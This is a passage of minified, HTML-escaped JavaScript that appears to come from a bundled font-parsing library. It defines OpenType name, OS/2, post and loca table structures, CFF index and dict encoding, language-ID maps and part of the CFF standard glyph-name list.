quot;,62:&quot;sd&quot;,92:&quot;ny&quot;,3:&quot;it&quot;,33:&quot;zh&quot;,63:&quot;bo&quot;,93:&quot;mg&quot;,4:&quot;nl&quot;,34:&quot;nl-BE&quot;,64:&quot;ne&quot;,94:&quot;eo&quot;,5:&quot;sv&quot;,35:&quot;ga&quot;,65:&quot;sa&quot;,128:&quot;cy&quot;,6:&quot;es&quot;,36:&quot;sq&quot;,66:&quot;mr&quot;,129:&quot;eu&quot;,7:&quot;da&quot;,37:&quot;ro&quot;,67:&quot;bn&quot;,130:&quot;ca&quot;,8:&quot;pt&quot;,38:&quot;cz&quot;,68:&quot;as&quot;,131:&quot;la&quot;,9:&quot;no&quot;,39:&quot;sk&quot;,69:&quot;gu&quot;,132:&quot;qu&quot;,10:&quot;he&quot;,40:&quot;si&quot;,70:&quot;pa&quot;,133:&quot;gn&quot;,11:&quot;ja&quot;,41:&quot;yi&quot;,71:&quot;or&quot;,134:&quot;ay&quot;,12:&quot;ar&quot;,42:&quot;sr&quot;,72:&quot;ml&quot;,135:&quot;tt&quot;,13:&quot;fi&quot;,43:&quot;mk&quot;,73:&quot;kn&quot;,136:&quot;ug&quot;,14:&quot;el&quot;,44:&quot;bg&quot;,74:&quot;ta&quot;,137:&quot;dz&quot;,15:&quot;is&quot;,45:&quot;uk&quot;,75:&quot;te&quot;,138:&quot;jv&quot;,16:&quot;mt&quot;,46:&quot;be&quot;,76:&quot;si&quot;,139:&quot;su&quot;,17:&quot;tr&quot;,47:&quot;uz&quot;,77:&quot;my&quot;,140:&quot;gl&quot;,18:&quot;hr&quot;,48:&quot;kk&quot;,78:&quot;km&quot;,141:&quot;af&quot;,19:&quot;zh-Hant&quot;,49:&quot;az-Cyrl&quot;,79:&quot;lo&quot;,142:&quot;br&quot;,20:&quot;ur&quot;,50:&quot;az-Arab&quot;,80:&quot;vi&quot;,143:&quot;iu&quot;,21:&quot;hi&quot;,51:&quot;hy&quot;,81:&quot;id&quot;,144:&quot;gd&quot;,22:&quot;th&quot;,52:&quot;ka&quot;,82:&quot;tl&quot;,145:&quot;gv&quot;,23:&quot;ko&quot;,53:&quot;mo&quot;,83:&quot;ms&quot;,146:&quot;ga&quot;,24:&quot;lt&quot;,54:&quot;ky&quot;,84:&quot;ms-Arab&quot;,147:&quot;to&quot;,25:&quot;pl&quot;,55:&quot;tg&quot;,85:&quot;am&quot;,148:&quot;el-polyton&quot;,26:&quot;hu&quot;,56:&quot;tk&quot;,86:&quot;ti&quot;,149:&quot;kl&quot;,27:&quot;es&quot;,57:&quot;mn-CN&quot;,87:&quot;om&quot;,150:&quot;az&quot;,28:&quot;lv&quot;,58:&quot;mn&quot;,88:&quot;so&quot;,151:&quot;nn&quot;,29:&quot;se&quot;,59:&quot;ps&quot;,89:&quot;sw&quot;},[],{1078:&quot;af&quot;,16393:&quot;en-IN&quot;,1159:&quot;rw&quot;,1074:&quot;tn&quot;,1052:&quot;sq&quot;,6153:&quot;en-IE&quot;,1089:&quot;sw&quot;,1115:&quot;si&quot;,1156:&quot;gsw&quot;,8201:&quot;en-JM&quot;,1111:&quot;kok&quot;,1051:&quot;sk&quot;,1118:&quot;am&quot;,17417:&quot;en-MY&quot;,1042:&quot;ko&quot;,1060:&quot;sl&quot;,5121:&quot;ar-DZ&quot;,5129:&quot;en-NZ&quot;,1088:&quot;ky&quot;,11274:&quot;es-AR&quot;,15361:&quot;ar-BH&quot;,13321:&quot;en-PH&quot;,1108:&quot;lo&quot;,16394:&quot;es-BO&quot;,3073:&quot;ar&quot;,18441:&quot;en-SG&quot;,1062:&quot;lv&quot;,13322:&quot;es-CL&quot;,2049:&quot;ar-IQ&quot;,7177:&quot;en-ZA&quot;,1063:&quot;lt&quot;,9226:&quot;es-CO&quot;,11265:&quot;ar-JO&quot;,11273:&quot;en-TT&quot;,2094:&quot;dsb&quot;,5130:&quot;es-CR&quot;,13313:&quot;ar-KW&quot;,2057:&quot;en-GB&quot;,1134:&quot;lb&quot;,7178:&quot;es-DO&quot;,12289:&quot;ar-LB&quot;,1033:&quot;en&quot;,1071:&quot;mk&quot;,12298:&quot;es-EC&quot;,4097:&quot;ar-LY&quot;,12297:&quot;en-ZW&quot;,2110:&quot;ms-BN&quot;,17418:&quot;es-SV&quot;,6145:&quot;ary&quot;,1061:&quot;et&quot;,1086:&quot;ms&quot;,4106:&quot;es-GT&quot;,8193:&quot;ar-OM&quot;,1080:&quot;fo&quot;,1100:&quot;ml&quot;,18442:&quot;es-HN&quot;,16385:&quot;ar-QA&quot;,1124:&quot;fil&quot;,1082:&quot;mt&quot;,2058:&quot;es-MX&quot;,1025:&quot;ar-SA&quot;,1035:&quot;fi&quot;,1153:&quot;mi&quot;,19466:&quot;es-NI&quot;,10241:&quot;ar-SY&quot;,2060:&quot;fr-BE&quot;,1146:&quot;arn&quot;,6154:&quot;es-PA&quot;,7169:&quot;aeb&quot;,3084:&quot;fr-CA&quot;,1102:&quot;mr&quot;,15370:&quot;es-PY&quot;,14337:&quot;ar-AE&quot;,1036:&quot;fr&quot;,1148:&quot;moh&quot;,10250:&quot;es-PE&quot;,9217:&quot;ar-YE&quot;,5132:&quot;fr-LU&quot;,1104:&quot;mn&quot;,20490:&quot;es-PR&quot;,1067:&quot;hy&quot;,6156:&quot;fr-MC&quot;,2128:&quot;mn-CN&quot;,3082:&quot;es&quot;,1101:&quot;as&quot;,4108:&quot;fr-CH&quot;,1121:&quot;ne&quot;,1034:&quot;es&quot;,2092:&quot;az-Cyrl&quot;,1122:&quot;fy&quot;,1044:&quot;nb&quot;,21514:&quot;es-US&quot;,1068:&quot;az&quot;,1110:&quot;gl&quot;,2068:&quot;nn&quot;,14346:&quot;es-UY&quot;,1133:&quot;ba&quot;,1079:&quot;ka&quot;,1154:&quot;oc&quot;,8202:&quot;es-VE&quot;,1069:&quot;eu&quot;,3079:&quot;de-AT&quot;,1096:&quot;or&quot;,2077:&quot;sv-FI&quot;,1059:&quot;be&quot;,1031:&quot;de&quot;,1123:&quot;ps&quot;,1053:&quot;sv&quot;,2117:&quot;bn&quot;,5127:&quot;de-LI&quot;,1045:&quot;pl&quot;,1114:&quot;syr&quot;,1093:&quot;bn-IN&quot;,4103:&quot;de-LU&quot;,1046:&quot;pt&quot;,1064:&quot;tg&quot;,8218:&quot;bs-Cyrl&quot;,2055:&quot;de-CH&quot;,2070:&quot;pt-PT&quot;,2143:&quot;tzm&quot;,5146:&quot;bs&quot;,1032:&quot;el&quot;,1094:&quot;pa&quot;,1097:&quot;ta&quot;,1150:&quot;br&quot;,1135:&quot;kl&quot;,1131:&quot;qu-BO&quot;,1092:&quot;tt&quot;,1026:&quot;bg&quot;,1095:&quot;gu&quot;,2155:&quot;qu-EC&quot;,1098:&quot;te&quot;,1027:&quot;ca&quot;,1128:&quot;ha&quot;,3179:&quot;qu&quot;,1054:&quot;th&quot;,3076:&quot;zh-HK&quot;,1037:&quot;he&quot;,1048:&quot;ro&quot;,1105:&quot;bo&quot;,5124:&quot;zh-MO&quot;,1081:&quot;hi&quot;,1047:&quot;rm&quot;,1055:&quot;tr&quot;,2052:&quot;zh&quot;,1038:&quot;hu&quot;,1049:&quot;ru&quot;,1090:&quot;tk&quot;,4100:&quot;zh-SG&quot;,1039:&quot;is&quot;,9275:&quot;smn&quot;,1152:&quot;ug&quot;,1028:&quot;zh-TW&quot;,1136:&quot;ig&quot;,4155:&quot;smj-NO&quot;,1058:&quot;uk&quot;,1155:&quot;co&quot;,1057:&quot;id&quot;,5179:&quot;smj&quot;,1070:&quot;hsb&quot;,1050:&quot;hr&quot;,1117:&quot;iu&quot;,3131:&quot;se-FI&quot;,1056:&quot;ur&quot;,4122:&quot;hr-BA&quot;,2141:&quot;iu-Latn&quot;,1083:&quot;se&quot;,2115:&quot;uz-Cyrl&quot;,1029:&quot;cs&quot;,2108:&quot;ga&quot;,2107:&quot;se-SE&quot;,1091:&quot;uz&quot;,1030:&quot;da&quot;,1076:&quot;xh&quot;,8251:&quot;sms&quot;,1066:&quot;vi&quot;,1164:&quot;prs&quot;,1077:&quot;zu&quot;,6203:&quot;sma-NO&quot;,1106:&quot;cy&quot;,1125:&quot;dv&quot;,1040:&quot;it&quot;,7227:&quot;sms&quot;,1160:&quot;wo&quot;,2067:&quot;nl-BE&quot;,2064:&quot;it-CH&quot;,1103:&quot;sa&quot;,1157:&quot;sah&quot;,1043:&quot;nl&quot;,1041:&quot;ja&quot;,7194:&quot;sr-Cyrl-BA&quot;,1144:&quot;ii&quot;,3081:&quot;en-AU&quot;,1099:&quot;kn&quot;,3098:&quot;sr&quot;,1130:&quot;yo&quot;,10249:&quot;en-BZ&quot;,1087:&quot;kk&quot;,6170:&quot;sr-Latn-BA&quot;,4105:&quot;en-CA&quot;,1107:&quot;km&quot;,2074:&quot;sr-Latn&quot;,9225:&quot;en-029&quot;,1158:&quot;quc&quot;,1132:&quot;nso&quot;}];let hT=new ct({platformID:Y,encodingID:Y,languageID:Y,nameID:Y,length:Y,string:new Je(Y,new Di(&quot;length&quot;,e=&gt;jH(e.platformID,e.encodingID,e.languageID)),{type:&quot;parent&quot;,relativeTo:e=&gt;e.parent.stringOffset,allowNull:!1})}),EAe=new ct({length:Y,tag:new Je(Y,new Di(&quot;length&quot;,&quot;utf16be&quot;),{type:&quot;parent&quot;,relativeTo:e=&gt;e.stringOffset})});var yw=new Un(Y,{0:{count:Y,stringOffset:Y,records:new Ye(hT,&quot;count&quot;)},1:{count:Y,stringOffset:Y,records:new Ye(hT,&quot;count&quot;),langTagCount:Y,langTags:new Ye(EAe,&quot;langTagCount&quot;)}}),CAe=yw;const IN=[&quot;copyright&quot;,&quot;fontFamily&quot;,&quot;fontSubfamily&quot;,&quot;uniqueSubfamily&quot;,&quot;fullName&quot;,&quot;version&quot;,&quot;postscriptName&quot;,&quot;trademark&quot;,&quot;manufacturer&quot;,&quot;designer&quot;,&quot;description&quot;,&quot;vendorURL&quot;,&quot;designerURL&quot;,&quot;license&quot;,&quot;licenseURL&quot;,null,&quot;preferredFamily&quot;,&quot;preferredSubfamily&quot;,&quot;compatibleFull&quot;,&quot;sampleText&quot;,&quot;postscriptCIDFontName&quot;,&quot;wwsFamilyName&quot;,&quot;wwsSubfamilyName&quot;];yw.process=function(e){var t={};for(let r of this.records){let n=wAe[r.platformID][r.languageID];n==null&amp;&amp;this.langTags!=null&amp;&amp;r.languageID&gt;=32768&amp;&amp;(n=this.langTags[r.languageID-32768].tag),n==null&amp;&amp;(n=r.platformID+&quot;-&quot;+r.languageID);let i=r.nameID&gt;=256?&quot;fontFeatures&quot;:IN[r.nameID]||r.nameID;t[i]==null&amp;&amp;(t[i]={});let s=t[i];r.nameID&gt;=256&amp;&amp;(s=s[r.nameID]||(s[r.nameID]={})),(typeof r.string==&quot;string&quot;||typeof s[n]!=&quot;string&quot;)&amp;&amp;(s[n]=r.string)}this.records=t};yw.preEncode=function(){if(Array.isArray(this.records))return;this.version=0;let e=[];for(let t in this.records){let r=this.records[t];t!==&quot;fontFeatures&quot;&amp;&amp;(e.push({platformID:3,encodingID:1,languageID:1033,nameID:IN.indexOf(t),length:r.en.length*2,string:r.en}),t===&quot;postscriptName&quot;&amp;&amp;e.push({platformID:1,encodingID:0,languageID:0,nameID:IN.indexOf(t),length:r.en.length,string:r.en}))}this.records=e,this.count=e.length,this.stringOffset=yw.size(this,null,!1)};var NH=new Un(Y,{header:{xAvgCharWidth:Ht,usWeightClass:Y,usWidthClass:Y,fsType:new H0(Y,[null,&quot;noEmbedding&quot;,&quot;viewOnly&quot;,&quot;editable&quot;,null,null,null,null,&quot;noSubsetting&quot;,&quot;bitmapOnly&quot;]),ySubscriptXSize:Ht,ySubscriptYSize:Ht,ySubscriptXOffset:Ht,ySubscriptYOffset:Ht,ySuperscriptXSize:Ht,ySuperscriptYSize:Ht,ySuperscriptXOffset:Ht,ySuperscriptYOffset:Ht,yStrikeoutSize:Ht,yStrikeoutPosition:Ht,sFamilyClass:Ht,panose:new Ye(lr,10),ulCharRange:new Ye(et,4),vendorID:new Di(4),fsSelection:new H0(Y,[&quot;italic&quot;,&quot;underscore&quot;,&quot;negative&quot;,&quot;outlined&quot;,&quot;strikeout&quot;,&quot;bold&quot;,&quot;regular&quot;,&quot;useTypoMetrics&quot;,&quot;wws&quot;,&quot;oblique&quot;]),usFirstCharIndex:Y,usLastCharIndex:Y},0:{},1:{typoAscender:Ht,typoDescender:Ht,typoLineGap:Ht,winAscent:Y,winDescent:Y,codePageRange:new Ye(et,2)},2:{typoAscender:Ht,typoDescender:Ht,typoLineGap:Ht,winAscent:Y,winDescent:Y,codePageRange:new Ye(et,2),xHeight:Ht,capHeight:Ht,defaultChar:Y,breakChar:Y,maxContent:Y},5:{typoAscender:Ht,typoDescender:Ht,typoLineGap:Ht,winAscent:Y,winDescent:Y,codePageRange:new Ye(et,2),xHeight:Ht,capHeight:Ht,defaultChar:Y,breakChar:Y,maxContent:Y,usLowerOpticalPointSize:Y,usUpperOpticalPointSize:Y}});let WI=NH.versions;WI[3]=WI[4]=WI[2];var IAe=NH,jAe=new Un(Is,{header:{italicAngle:Is,underlinePosition:Ht,underlineThickness:Ht,isFixedPitch:et,minMemType42:et,maxMemType42:et,minMemType1:et,maxMemType1:et},1:{},2:{numberOfGlyphs:Y,glyphNameIndex:new Ye(Y,&quot;numberOfGlyphs&quot;),names:new Ye(new Di(lr))},2.5:{numberOfGlyphs:Y,offsets:new Ye(lr,&quot;numberOfGlyphs&quot;)},3:{},4:{map:new Ye(et,e=&gt;e.parent.maxp.numGlyphs)}}),NAe=new ct({controlValues:new Ye(Ht)}),SAe=new ct({instructions:new Ye(lr)});let iB=new Un(&quot;head.indexToLocFormat&quot;,{0:{offsets:new Ye(Y)},1:{offsets:new Ye(et)}});iB.process=function(){if(this.version===0&amp;&amp;!this._processed){for(let e=0;e&lt;this.offsets.length;e++)this.offsets[e]&lt;&lt;=1;this._processed=!0}};iB.preEncode=function(){if(this.version===0&amp;&amp;this._processed!==!1){for(let e=0;e&lt;this.offsets.length;e++)this.offsets[e]&gt;&gt;&gt;=1;this._processed=!1}};var BAe=iB,kAe=new ct({controlValueProgram:new Ye(lr)}),_Ae=new Ye(new cl);class _d{getCFFVersion(t){for(;t&amp;&amp;!t.hdrSize;)t=t.parent;return t?t.version:-1}decode(t,r){let i=this.getCFFVersion(r)&gt;=2?t.readUInt32BE():t.readUInt16BE();if(i===0)return[];let s=t.readUInt8(),o;if(s===1)o=lr;else if(s===2)o=Y;else if(s===3)o=ym;else if(s===4)o=et;else throw new Error(`Bad offset size in CFFIndex: ${s} ${t.pos}`);let l=[],c=t.pos+(i+1)*s-1,d=o.decode(t);for(let u=0;u&lt;i;u++){let h=o.decode(t);if(this.type!=null){let p=t.pos;t.pos=c+d,r.length=h-d,l.push(this.type.decode(t,r)),t.pos=p}else l.push({offset:c+d,length:h-d});d=h}return t.pos=c+d,l}size(t,r){let n=2;if(t.length===0)return n;let i=this.type||new cl,s=1;for(let l=0;l&lt;t.length;l++){let c=t[l];s+=i.size(c,r)}let o;if(s&lt;=255)o=lr;else if(s&lt;=65535)o=Y;else if(s&lt;=16777215)o=ym;else if(s&lt;=4294967295)o=et;else throw new Error(&quot;Bad offset in CFFIndex&quot;);return n+=1+o.size()*(t.length+1),n+=s-1,n}encode(t,r,n){if(t.writeUInt16BE(r.length),r.length===0)return;let i=this.type||new cl,s=[],o=1;for(let c of r){let d=i.size(c,n);s.push(d),o+=d}let l;if(o&lt;=255)l=lr;else if(o&lt;=65535)l=Y;else if(o&lt;=16777215)l=ym;else if(o&lt;=4294967295)l=et;else throw new Error(&quot;Bad offset in CFFIndex&quot;);t.writeUInt8(l.size()),o=1,l.encode(t,o);for(let c of s)o+=c,l.encode(t,o);for(let c of r)i.encode(t,c,n)}constructor(t){this.type=t}}const kx=15,mT=[&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;,&quot;.&quot;,&quot;E&quot;,&quot;E-&quot;,null,&quot;-&quot;],pT={&quot;.&quot;:10,E:11,&quot;E-&quot;:12,&quot;-&quot;:14};class KI{static decode(t,r){if(32&lt;=r&amp;&amp;r&lt;=246)return r-139;if(247&lt;=r&amp;&amp;r&lt;=250)return(r-247)*256+t.readUInt8()+108;if(251&lt;=r&amp;&amp;r&lt;=254)return-(r-251)*256-t.readUInt8()-108;if(r===28)return t.readInt16BE();if(r===29)return t.readInt32BE();if(r===30){let n=&quot;&quot;;for(;;){let i=t.readUInt8(),s=i&gt;&gt;4;if(s===kx)break;n+=mT[s];let o=i&amp;15;if(o===kx)break;n+=mT[o]}return parseFloat(n)}return null}static size(t){if(t.forceLarge&amp;&amp;(t=32768),(t|0)!==t){let r=&quot;&quot;+t;return 1+Math.ceil((r.length+1)/2)}else return-107&lt;=t&amp;&amp;t&lt;=107?1:108&lt;=t&amp;&amp;t&lt;=1131||-1131&lt;=t&amp;&amp;t&lt;=-108?2:-32768&lt;=t&amp;&amp;t&lt;=32767?3:5}static encode(t,r){let n=Number(r);if(r.forceLarge)return t.writeUInt8(29),t.writeInt32BE(n);if((n|0)!==n){t.writeUInt8(30);let s=&quot;&quot;+n;for(let o=0;o&lt;s.length;o+=2){let l=s[o],c=pT[l]||+l;if(o===s.length-1)var i=kx;else{let d=s[o+1];var i=pT[d]||+d}t.writeUInt8(c&lt;&lt;4|i&amp;15)}if(i!==kx)return t.writeUInt8(kx&lt;&lt;4)}else return-107&lt;=n&amp;&amp;n&lt;=107?t.writeUInt8(n+139):108&lt;=n&amp;&amp;n&lt;=1131?(n-=108,t.writeUInt8((n&gt;&gt;8)+247),t.writeUInt8(n&amp;255)):-1131&lt;=n&amp;&amp;n&lt;=-108?(n=-n-108,t.writeUInt8((n&gt;&gt;8)+251),t.writeUInt8(n&amp;255)):-32768&lt;=n&amp;&amp;n&lt;=32767?(t.writeUInt8(28),t.writeInt16BE(n)):(t.writeUInt8(29),t.writeInt32BE(n))}}class W4{decodeOperands(t,r,n,i){if(Array.isArray(t))return i.map((s,o)=&gt;this.decodeOperands(t[o],r,n,[s]));if(t.decode!=null)return t.decode(r,n,i);switch(t){case&quot;number&quot;:case&quot;offset&quot;:case&quot;sid&quot;:return i[0];case&quot;boolean&quot;:return!!i[0];default:return i}}encodeOperands(t,r,n,i){return Array.isArray(t)?i.map((s,o)=&gt;this.encodeOperands(t[o],r,n,s)[0]):t.encode!=null?t.encode(r,i,n):typeof i==&quot;number&quot;?[i]:typeof i==&quot;boolean&quot;?[+i]:Array.isArray(i)?i:[i]}decode(t,r){let n=t.pos+r.length,i={},s=[];Object.defineProperties(i,{parent:{value:r},_startOffset:{value:t.pos}});for(let o in this.fields){let l=this.fields[o];i[l[1]]=l[3]}for(;t.pos&lt;n;){let o=t.readUInt8();if(o&lt;28){o===12&amp;&amp;(o=o&lt;&lt;8|t.readUInt8());let l=this.fields[o];if(!l)throw new Error(`Unknown operator ${o}`);let c=this.decodeOperands(l[2],t,i,s);c!=null&amp;&amp;(c instanceof eB?Object.defineProperty(i,l[1],c):i[l[1]]=c),s=[]}else s.push(KI.decode(t,o))}return i}size(t,r,n=!0){let i={parent:r,val:t,pointerSize:0,startOffset:r.startOffset||0},s=0;for(let o in this.fields){let l=this.fields[o],c=t[l[1]];if(c==null||G7(c,l[3]))continue;let d=this.encodeOperands(l[2],null,i,c);for(let h of d)s+=KI.size(h);let u=Array.isArray(l[0])?l[0]:[l[0]];s+=u.length}return n&amp;&amp;(s+=i.pointerSize),s}encode(t,r,n){let i={pointers:[],startOffset:t.pos,parent:n,val:r,pointerSize:0};i.pointerOffset=t.pos+this.size(r,i,!1);for(let o of this.ops){let l=r[o[1]];if(l==null||G7(l,o[3]))continue;let c=this.encodeOperands(o[2],t,i,l);for(let u of c)KI.encode(t,u);let d=Array.isArray(o[0])?o[0]:[o[0]];for(let u of d)t.writeUInt8(u)}let s=0;for(;s&lt;i.pointers.length;){let o=i.pointers[s++];o.type.encode(t,o.val,o.parent)}}constructor(t=[]){this.ops=t,this.fields={};for(let r of t){let n=Array.isArray(r[0])?r[0][0]&lt;&lt;8|r[0][1]:r[0];this.fields[n]=r}}}class T0 extends Je{decode(t,r,n){return this.offsetType={decode:()=&gt;n[0]},super.decode(t,r,n)}encode(t,r,n){if(!t)return this.offsetType={size:()=&gt;0},this.size(r,n),[new gT(0)];let i=null;return this.offsetType={encode:(s,o)=&gt;i=o},super.encode(t,r,n),[new gT(i)]}constructor(t,r={}){r.type==null&amp;&amp;(r.type=&quot;global&quot;),super(null,t,r)}}class gT{valueOf(){return this.val}constructor(t){this.val=t,this.forceLarge=!0}}class DAe{static decode(t,r,n){let i=n.pop();for(;n.length&gt;i;)n.pop()}}var jN=new W4([[6,&quot;BlueValues&quot;,&quot;delta&quot;,null],[7,&quot;OtherBlues&quot;,&quot;delta&quot;,null],[8,&quot;FamilyBlues&quot;,&quot;delta&quot;,null],[9,&quot;FamilyOtherBlues&quot;,&quot;delta&quot;,null],[[12,9],&quot;BlueScale&quot;,&quot;number&quot;,.039625],[[12,10],&quot;BlueShift&quot;,&quot;number&quot;,7],[[12,11],&quot;BlueFuzz&quot;,&quot;number&quot;,1],[10,&quot;StdHW&quot;,&quot;number&quot;,null],[11,&quot;StdVW&quot;,&quot;number&quot;,null],[[12,12],&quot;StemSnapH&quot;,&quot;delta&quot;,null],[[12,13],&quot;StemSnapV&quot;,&quot;delta&quot;,null],[[12,14],&quot;ForceBold&quot;,&quot;boolean&quot;,!1],[[12,17],&quot;LanguageGroup&quot;,&quot;number&quot;,0],[[12,18],&quot;ExpansionFactor&quot;,&quot;number&quot;,.06],[[12,19],&quot;initialRandomSeed&quot;,&quot;number&quot;,0],[20,&quot;defaultWidthX&quot;,&quot;number&quot;,0],[21,&quot;nominalWidthX&quot;,&quot;number&quot;,0],[22,&quot;vsindex&quot;,&quot;number&quot;,0],[23,&quot;blend&quot;,DAe,null],[19,&quot;Subrs&quot;,new T0(new _d,{type:&quot;local&quot;}),null]]),Xb=[&quot;.notdef&quot;,&quot;space&quot;,&quot;exclam&quot;,&quot;quotedbl&quot;,&quot;numbersign&quot;,&quot;dollar&quot;,&quot;percent&quot;,&quot;ampersand&quot;,&quot;quoteright&quot;,&quot;parenleft&quot;,&quot;parenright&quot;,&quot;asterisk&quot;,&quot;plus&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;slash&quot;,&quot;zero&quot;,&quot;one&quot;,&quot;two&quot;,&quot;three&quot;,&quot;four&quot;,&quot;five&quot;,&quot;six&quot;,&quot;seven&quot;,&quot;eight&quot;,&quot;nine&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;less&quot;,&quot;equal&quot;,&quot;greater&quot;,&quot;question&quot;,&quot;at&quot;,&quot;A&quot;,&quot;B&quot;,&quot;C&quot;,&quot;D&quot;,&quot;E&quot;,&quot;F&quot;,&quot;G&quot;,&quot;H&quot;,&quot;I&quot;,&quot;J&quot;,&quot;K&quot;,&quot;L&quot;,&quot;M&quot;,&quot;N&quot;,&quot;O&quot;,&quot;P&quot;,&quot;Q&quot;,&quot;R&quot;,&quot;S&quot;,&quot;T&quot;,&quot;U&quot;,&quot;V&quot;,&quot;W&quot;,&quot;X&quot;,&quot;Y&quot;,&quot;Z&quot;,&quot;bracketleft&quot;,&quot;backslash&quot;,&quot;bracketright&quot;,&quot;asciicircum&quot;,&quot;underscore&quot;,&quot;quoteleft&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;braceleft&quot;,&quot;bar&quot;,&quot;braceright&quot;,&quot;asciitilde&quot;,&quot;exclamdown&quot;,&quot;cent&quot;,&quot;sterling&quot;,&quot;fraction&quot;,&quot;yen&quot;,&quot;florin&quot;,&quot;section&quot;,&quot;currency&quot;,&quot;quotesingle&quot;,&quot;quotedblleft&quot;,&quot;guillemotleft&quot;,&quot;guilsinglleft&quot;,&quot;guilsinglright&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;endash&quot;,&quot;dagger&quot;,&quot;daggerdbl&quot;,&quot;periodcentered&quot;,&quot;paragraph&quot;,&quot;bullet&quot;,&quot;quotesinglbase&quot;,&quot;quotedblbase&quot;,&quot;quotedblright&quot;,&quot;guillemotright&quot;,&quot;ellipsis&quot;,&quot;perthousand&quot;,&quot;questiondown&quot;,&quot;grave&quot;,&quot;acute&quot;,&quot;circumflex&quot;,&quot;tilde&quot;,&quot;macron&quot;,&quot;breve&quot;,&quot;dotaccent&quot;,&quot;dieresis&quot;,&quot;ring&quot;,&quot;cedilla&quot;,&quot;hungarumlaut&quot;,&quot;ogonek&quot;,&quot;caron&quot;,&quot;emdash&quot;,&quot;AE&quot;,&quot;ordfeminine&quot;,&quot;Lslash&quot;,&quot;Oslash&quot;,&quot;OE&quot;,&quot;ordmasculine&quot;,&quot;ae&quot;,&quot;dotlessi&quot;,&quot;lslash&quot;,&quot;oslash&quot;,&quot;oe&quot;,&quot;germandbls&quot;,&quot;onesuperior&quot;,&quot;logicalnot&quot;,&quot;mu&quot;,&quot;trademark&quot;,&quot;Eth&quot;,&quot;onehalf&quot;,&quot;plusminus&quot;,&quot;Thorn&quot;,&quot;onequarter&quot;,&quot;divide&quot;,&quot;brokenbar&quot;,&quot;degree&quot;,&quot;thorn&quot;,&quot;threequarters&quot;,&quot;twosuperior&quot;,&quot;registered&quot;,&quot;minus&quot;,&quot;eth&quot;,&quot;multiply&quot;,&quot;threesuperior&quot;,&quot;copyright&quot;,&quot;Aacute&quot;,&quot;Acircumflex&quot;,&quot;Adieresis&quot;,&quot;Agrave&quot;,&quot;Aring&quot;,&quot;Atilde&quot;,&quot;Ccedilla&quot;,&quot;Eacute&quot;,&quot;Ecircumflex&quot;,&quot;Edieresis&quot;,&quot;Egrave&quot;,&quot;Iacute&quot;,&quot;Icircumflex&quot;,&quot;Idieresis&quot;,&quot;Igrave&quot;,&quot;Ntilde&quot;,&quot;Oacute&quot;,&quot;Ocircumflex&quot;,&quot;Odieresis&quot;,&quot;Ograve&quot;,&quot;Otilde&quot;,&quot;Scaron&quot;,&quot;Uacute&quot;,&quot;Ucircumflex&quot;,&quot;Udieresis&quot;,&quot;Ugrave&quot;,&quot;Yacute&quot;,&quot;Ydieresis&quot;,&quot;Zcaron&quot;,&quot;aacute&quot;,&quot;acircumflex&quot;,&quot;adieresis&quot;,&quot;agrave&quot;,&quot;aring&quot;,&quot;atilde&quot;,&quot;ccedilla&quot;,&quot;eacute&quot;,&quot;ecircumflex&quot;,&quot;edieresis&quot;,&quot;egrave&quot;,&quot;iacute&quot;,&quot;icircumflex&quot;,&quot;idieresis&quot;,&quot;igrave&quot;,&quot;ntilde&quot;,&quot;oacute&quot;,&quot;ocircumflex&quot;,&quot;odieresis&quot;,&quot;ograve&quot;,&quot;otilde&quot;,&quot;scaron&quot;,&quot;uacute&quot;,&quot;ucircumflex&quot;,&quot;udieresis&quot;,&quot;ugrave&quot;,&quot;yacute&quot;,&quot;ydieresis&quot;,&quot;zcaron&quot;,&quot;exclamsmall&quot;,&quot;Hungarumlautsmall&quot;,&quot;dollaroldstyle&quot;,&quot;dollarsuperior&quot;,&quot;ampersandsmall&quot;,&quot;Acutesmall&quot;,&quot;parenleftsuperior&quot;,&quot;parenrightsuperior&quot;,&quot;twodotenleader&quot;,&quot;onedotenleader&quot;,&quot;zerooldstyle&quot;,&quot;oneoldstyle&quot;,&quot;twooldstyle&quot;,&quot;threeoldstyle&quot;,&quot;fouroldstyle&quot;,&quot;fiveoldstyle&quot;,&quot;sixoldstyle&quot;,&quot;sevenoldstyle&quot;,&quot;eightoldstyle&quot;,&quot;nineoldstyle&quot;,&quot;commasuperior&quot;,&quot;threequartersemdash&quot;,&quot;periodsuperior&quot;,&quot;questionsmall&quot;,&quot;asuperior&quot;,&quot;bsuperior&quot;,&quot;centsuperior&quot;,&quot;dsuperior&quot;,&quot;esuperior&quot;,&quot;isuperior&quot;,&quot;lsuperior&quot;,&quot;msuperior&quot;,&quot;nsuperior&quot;,&quot;osuperior&quot;,&quot;rsuperior&quot;,&quot;ssuperior&quot;,&quot;tsuperior&quot;,&quot;ff&quot;,&quot;ffi&quot;,&quot;ffl&quot;,&quot;parenleftinferior&quot;,&quot;parenrightinferior&quot;,&quot;Circumflexsmall&quot;,&quot;hyphensuperior&quot;,&quot;Gravesmall&quot;,&quot;Asmall&quot;,&quot;Bsmall&quot;,&quot;Csmall&quot;,&quot;Dsmall&quot;,&quot;Esmall&quot;,&quot;Fsmall&quot;,&quot;Gsmall&quot;,&quot;Hsmall&quot;,&quot;Ismall&quot;,&quot;Jsmall&quot;,&quot;Ksmall&quot;,&quot;Lsmall&quot;,&quot;Msmall&quot;,&quot;Nsmall&quot;,&quot;Osmall&quot;,&quot;Psmall&quot;,&quot;Qsmall&quot;,&quot;Rsmall&quot;,&quot;Ssmall&quot;,&quot;Tsmall&quot;,&quot;Usmall&quot;,&quot;Vsmall&quot;,&quot;Wsmall&quot;,&quot;Xsmall&quot;,&quot;Ysmall&quot;,&quot;Zsmall&quot;,&quot;colonmonetary&quot;,&quot;onefitted&quot;,&quot;rupiah&quot;